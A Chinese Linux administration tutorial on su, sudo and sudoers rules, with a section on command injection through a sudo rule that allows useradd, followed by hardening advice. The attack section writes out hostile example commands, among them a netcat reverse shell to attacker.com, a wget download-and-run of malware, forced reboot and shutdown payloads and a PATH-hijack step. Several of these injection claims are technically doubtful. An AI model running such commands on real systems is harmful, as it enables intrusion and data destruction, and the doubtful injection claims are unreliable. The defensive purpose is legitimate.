提权
su是 “Switch User” 或 “Substitute User” 的缩写,它的主要功能是允许一个已登录的用户切换到另一个用户的身份,并在新的 Shell 会话中以该用户的权限运行命令。当目标是切换到超级用户 (root) 时,这个过程就被称为 “提权”。
su [选项] [用户名] |
命令示例
su - root # 切换root用户并执行shell登录,将当前目录切换到目标用户的家目录,清除大多数环境变量就像目标用户自己登录一样,提供目标用户预期的完整、干净的环境。 |
切换用户
su enterprise # 不加 - ,注意观察路径 |

su - enterprise |

执行单条命令后退出
su - enterprise -c "whoami" |

注意
su需要输入目标用户的密码,若多人共用root密码,则难以审计操作来源,使用sudo·时间权限最小化和操作审计。
在安全要求高的场景,可以禁用root用户的su切换。
# 编辑 /etc/pam.d/su |
切换用户后可以使用exit命令或是ctrl + D退回原用户
实际场景应用
系统维护中
su - root -c "apt upgrate && apt autoremove" # 以 root 用户身份更新系统 |
在多用户协作中
su - user # 切换到开发人员user的账户调试环境 |
脚本临时提权
# !/bin/bash |
临时提权
sudo是 “superuser do” 或 “substitute user do” 的缩写,它的核心功能是:允许一个已授权用户以另一个用户(通常是 root)的身份执行特定的命令,而无需知道目标用户的密码。
sudo与su相比
- 无需共享
root密码: 管理员无需告知任何人root密码,大大降低了密码泄露的风险。用户使用自己的密码进行提权。 - 最小权限原则: 可以精确授予用户执行其工作所需的最少命令权限,而不是赋予完整的
rootShell 访问。例如,只允许用户重启apache服务,而不能做其他操作。 - 详细的审计追踪: 所有
sudo操作都会被记录(命令、参数、执行时间、用户、终端等),方便事后审查和故障排查。 - 更高的安全性: 减少了意外执行破坏性命令的风险(因为每次都需要显式使用
sudo),并且限制了攻击者获取完整root访问的途径。 - 更灵活的配置: 可以定义用户组、命令组、主机组,并设置复杂的规则(如环境变量、输入/输出日志、超时等)。
语法
sudo [选项] 命令 |
常用 sudo 选项:
-l或--list: 列出当前用户被允许执行的sudo命令。强烈建议在执行sudo前先使用此命令确认权限。-v或--validate: 刷新用户的sudo身份验证状态(延长密码缓存时间),而不执行任何命令。如果密码即将过期,会提示重新输入。-k或--reset-timestamp: 立即终止用户的sudo身份验证状态(清除密码缓存),下次使用sudo需要重新输入密码。-u username或--user=username: 以指定的用户身份执行命令(默认为root)。例如sudo -u bob touch /tmp/bobfile.txt。-s或--shell: 启动目标用户(默认为root)的 Shell(由SHELL环境变量或目标用户的默认 Shell 决定)。这是一个交互式 Shell,但环境变量可能部分继承当前用户(取决于配置和是否使用-H)。-i或--login: 模拟目标用户(默认为root)的登录过程。类似su -:- 切换到目标用户的家目录。
- 清除大多数环境变量。
- 加载目标用户的 Shell 配置文件 (
~/.profile,~/.bash_profile等)。 - 提供目标用户预期的完整环境。
-H或--set-home: 将HOME环境变量设置为目标用户的家目录(通常在配合-s或-i时自动设置,单独执行命令时可能需要显式指定以确保命令使用正确的家目录)。-b或--background: 在后台运行指定的命令。-E或--preserve-env: 保留当前用户的环境变量传递给sudo执行的命令。注意: 管理员可以在/etc/sudoers中通过env_reset选项禁用此行为或使用env_keep指定保留的变量。使用此选项需要配置允许。
sudo命令的执行过程
1、系统读取/etc/sudoers文件,验证用户是否有权执行该命令
2、验证当前用户的密码
3、以目标身份执行命令,完成后权限自动回收
sudo的配置文件/etc/sudoers
所有 sudo 的授权规则都定义在 /etc/sudoers 文件中。
只能使用编辑工具**visudo**,若使用vim等编辑器对/etc/sudoers文件进行编辑可能会造成语法错误,从而导致所有用户都无法使用sudo命令。
并且visudo在保存时会检查语法,如果检测到错误,它会警告你并拒绝保存损坏的配置,给你修复的机会。
基本结构
- 名定义 (
User_Alias,Host_Alias,Cmnd_Alias,Runas_Alias): 用于分组用户、主机、命令和目标用户,使规则更清晰和可管理。 - 用户规范 (
User_Spec): 定义谁可以在哪里以谁的身份运行什么命令。这是核心配置部分。
配置语法
用户/组 主机=(可切换身份) 可执行的命令 [参数] |
用户/组:%开头表示组
**主机:**ALL表示所有主机
可切换身份:ALL表示任意用户,可指定为root
**命令:**需要使用绝对路径
示例
# 允许 wheel 组成员以 root 身份执行所有命令 |
使一个用户 userall 具有删除用户的权限
# 方法一将userall用户加入wheel用户组 |
基本使用
sudo apt update # 更新软件包列表 |
在安全领域的应用
# 仅允许用户管理服务 |
注意
# 允许 user 仅能添加用户(禁止删除) |
这个模式匹配规则存在严重缺陷,无法有效防止命令注入或滥用,甚至可能带来意想不到的问题。
1、无法防止命令注入(最严重问题):
sudo的命令参数匹配是基于模式匹配的,它不是在执行命令前对参数进行安全解析或转义。
# useradd 命令本身会解释它接收到的参数 |
2、无法有效限制用户名:
user5可以轻松创建包含$,(,), ``,-,/, ```,;,&,|等特殊字符的用户名,只要这些字符被包裹在一个连续的字符串参数中。这可能导致:- 系统管理工具(如
ls -l /home)显示混乱。 - 脚本处理用户列表时出错。
- 更严重的安全隐患(如利用特殊字符绕过某些检查)。
- 系统管理工具(如
- Linux 用户名允许包含字母、数字、下划线
_、连字符-和美元符号$(通常不能以$开头)。完全禁止数字和_、-可能不符合实际需求。
3、错误地阻止了必要的选项:
- 规则
/usr/sbin/useradd [A-Za-z]*不允许使用任何选项,因为选项前面有空格和-。这导致user5只能运行最基本的sudo /usr/sbin/useradd username。根据系统默认配置,这可能:- 不创建主目录 (
/home/username): 用户无法登录或使用不便。 - 使用默认的 Shell (可能是
/bin/sh或禁用的/usr/sbin/nologin)。 - 使用默认的主组 (通常是
users或nogroup),这可能不符合要求。
- 不创建主目录 (
解决办法
尝试
[a-zA-Z][a-zA-Z0-9_-]*(要求首字符是字母,后面可以是字母、数字、下划线、连字符)。这仍然不能完全防止所有特殊字符注入(比如如果用户名里有单引号,攻击者可能构造闭合),但比[A-Za-z]*好很多。显式允许必要的安全选项: 将这些选项固定在命令中。
sudoers规则不支持“默认添加选项”,只能通过定义多个命令别名或规则来实现。
命令实验
使一个用户 userall 具有删除用户的权限
# 方法一将userall用户加入wheel用户组 |
首先创建用户test并测试sudo权限
[root@wickt 桌面]# useradd test |

将test用户加入wheel组
[root@wickt 桌面]# usermod -aG wheel test |

编辑/etc/sudoers文件
[root@wickt 桌面]# visudo |

在特殊背景下的命令注入攻击与防御
user5 ALL=(root) /usr/sbin/useradd这条规则允许 user5 以 root 身份执行 /usr/sbin/useradd 命令。如果 user5 被攻击者控制(例如,通过一个 Web 表单或脚本间接接受用户输入来构造 useradd 命令的参数),并且这些输入没有经过严格的过滤和转义,攻击者就能尝试在参数中注入额外的命令。
m -rf / # 删除文件 |
攻击方式与具体注入命令示例
攻击者会尝试利用 useradd 命令的参数或环境变量来注入分隔符(如 ;, &, |, $(), ```` `````)或换行符 \n,使得 sudo 在执行 /usr/sbin/useradd 时,实际执行了攻击者注入的恶意命令。
利用
-p/--password参数 (密码哈希):攻击原理:
-p参数接受的是加密后的密码哈希字符串。如果攻击者能控制这个哈希值,他们可以构造一个包含命令分隔符的“哈希”。注入示例:
sudo useradd -p '$(reboot)' malicioususer # 尝试在密码字段执行reboot
sudo useradd -p '; shutdown -h now;' malicioususer # 尝试执行关机
sudo useradd -p '`id > /tmp/exploit`' malicioususer # 尝试执行id命令并输出结果
sudo useradd -p '| nc attacker.com 4444 -e /bin/bash |' malicioususer # 尝试反弹shell
利用
-s/--shell参数 (登录 Shell):攻击原理: 指定用户登录时使用的 shell。攻击者可以将其设置为一个恶意命令或脚本。
注入示例:
sudo useradd -s '/bin/bash -c "id; wget http://attacker.com/malware -O /tmp/m; chmod +x /tmp/m; /tmp/m &"' malicioususer
# 创建一个用户,其登录shell实际上会执行一串命令:打印id、下载恶意软件、执行它
利用
-c/--comment参数 (GECOS 字段/用户备注):攻击原理: 用户备注信息。虽然
useradd通常会对这个字段做一定的处理,但在某些实现或特定上下文(如后续脚本处理该字段时)仍可能存在风险。攻击者会尝试注入命令。注入示例:
sudo useradd -c '$(touch /tmp/gecos_exploit)' malicioususer # 尝试在注释字段执行命令
sudo useradd -c 'Bad User; echo "Exploited!" >> /etc/motd' malicioususer # 尝试注入命令修改motd
利用
-g/--gid或-G/--groups参数 (主组/附加组):攻击原理: 组名理论上应该是字母数字组合。但如果系统允许非标准组名(或未经验证),攻击者可能尝试注入。
注入示例 (风险较低,但理论上可能):
sudo useradd -G 'wheel; reboot' malicioususer # 尝试在组名后附加命令
利用环境变量 (如果 sudo 环境未清理干净):
- 攻击原理:
useradd的行为可能受某些环境变量影响(如PATH,USERADD_*等特定变量)。如果sudoers配置不严格(如未设置env_reset或env_keep包含危险变量),攻击者可以设置环境变量来影响useradd的行为或执行路径中的恶意程序。 - 攻击步骤:
- 攻击者设置一个恶意的
PATH:export PATH=/tmp/evil:$PATH - 在
/tmp/evil下放置一个名为useradd的恶意脚本。 - 执行
sudo useradd ...。如果sudo没有重置PATH到安全路径,它可能会优先执行/tmp/evil/useradd这个恶意脚本,而不是/usr/sbin/useradd。
- 攻击者设置一个恶意的
- 依赖条件:
sudoers中该规则或全局配置缺少env_reset或secure_path设置,或者错误地env_keep了PATH。
- 攻击原理:
利用
--extrausers(如果支持且路径可控):攻击原理: 一些
useradd实现可能有--extrausers选项指向一个外部用户数据库文件。如果攻击者能控制这个路径,可以指向一个恶意文件。注入示例:
sudo useradd --extrausers /tmp/evil_users.conf malicioususer # 可能加载恶意配置
如何防护命令注入攻击
防护的核心在于 最小权限原则、严格输入验证、安全配置 和 避免直接执行命令行:
避免授予不必要的 sudo 权限 (最佳防御):
- 根本解决: 仔细评估是否真的需要让
user5直接通过sudo执行useradd。大多数场景下,应该有更安全的替代方案(如专门的配置管理工具、API、受限制的Web界面)。 - 替代方案: 使用像
adduser这样的封装脚本(如果它提供更好的参数过滤),或者开发一个专用的、严格限制参数的小型程序/脚本,只允许执行必要的操作,并通过这个程序来代理useradd调用。然后只允许sudo执行这个安全的代理程序。
- 根本解决: 仔细评估是否真的需要让
在 sudoers 中使用命令参数白名单 (如果必须使用):
核心防护: 这是防护
sudo命令注入最有效的手段之一。不要只写命令路径 (/usr/sbin/useradd),要为命令指定允许的参数。语法:
user5 ALL=(root) /usr/sbin/useradd [allowed-options]示例:
# 只允许创建用户名为字母数字、指定家目录(固定模式或受限路径)、禁止设置密码、使用固定shell
user5 ALL=(root) /usr/sbin/useradd -m -d /home/* -s /bin/bash -- [a-zA-Z0-9]*-m -d /home/*:强制创建家目录且路径必须匹配/home/*。-s /bin/bash:固定使用/bin/bash,防止注入其他 shell 路径。-- [a-zA-Z0-9]*:--表示选项结束,后面只能跟匹配[a-zA-Z0-9]*正则表达式的用户名(只允许字母数字)。这是最关键的部分,严格限制了用户名格式。
关键点:
- 使用
--明确分隔选项和用户名。 - 使用 正则表达式 或 精确匹配 来严格限定用户名、家目录路径等参数的格式(只允许字母、数字、下划线等安全字符)。
sudoers支持基本的通配符 (?,*) 和字符类 ([a-z],[0-9]),更复杂的需求可能需要结合包装脚本。 - 明确禁止危险选项: 如
-p(密码)、-c(注释 - 如果不需要复杂注释)、-g/-G(如果组名需要严格控制)。在允许列表模式中,不列出的选项就是禁止的。 - 避免允许用户设置密码 (
-p)。初始密码应通过其他安全机制设置。
- 使用
强化 sudo 环境:
设置
env_reset: 在sudoers文件 (Defaults env_reset) 或针对该规则 (Defaults:user5 env_reset) 确保执行命令时环境变量被重置为一个安全的、最小的默认集。设置
secure_path: 在sudoers中定义Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"(或类似的安全路径),确保sudo执行命令时只在受控路径下搜索程序,防止PATH污染攻击。清除危险环境变量: 使用
env_delete明确删除可能影响目标命令行为的环境变量,特别是PATH,USERADD_*,SHELL等。Defaults env_delete += "PATH USERADD_* SHELL ..."
在调用 sudo 之前进行严格的输入验证 (应用层防护):
- 如果
user5的操作是由一个程序(如Web应用、脚本)触发的,该程序必须对用户提供的所有输入(用户名、组名等)进行严格的验证和过滤。 - 白名单验证: 只允许已知安全的字符集合(如字母、数字、下划线、短横线)。强烈拒绝任何命令分隔符 (
; & | $() `` ``\n)、引号、路径分隔符 (/)、特殊字符等。 - 长度限制: 对输入参数施加合理的长度限制。
- 内容检查: 检查输入是否符合预期的格式(如用户名规则)。
- 永远不要信任用户输入!
- 如果
使用专门的 API 代替命令行工具:
- 更安全的替代方案: 如果应用程序需要以编程方式管理用户,避免使用
system(),exec(),popen()等执行 shell 命令的函数。转而使用操作系统提供的专用库或 API。 - Linux 示例: 使用
libuser库 或直接操作/etc/passwd,/etc/shadow,/etc/group文件(需极其小心权限和数据完整性)或使用 PAM 模块接口。这些 API 通常能避免命令解析和注入的风险。
- 更安全的替代方案: 如果应用程序需要以编程方式管理用户,避免使用
最小化可用选项:
- 在
sudoers命令白名单中,只允许创建用户所必需的绝对最少的选项。例如:- 固定使用
-m(创建家目录)。 - 固定使用安全的默认 shell (
-s /bin/bash或/sbin/nologin)。 - 绝对禁止
-p(密码)。 - 限制
-d(家目录) 到特定安全路径模式。 - 限制
-g/-G到特定的、已知安全的组名(如果必须)。
- 固定使用
- 在
审计与监控:
- 启用
sudo日志 (syslog),并密切监控所有sudo命令的执行,特别是useradd的使用。关注异常参数或用户名。 - 定期审计
sudoers配置和系统用户列表。
- 启用
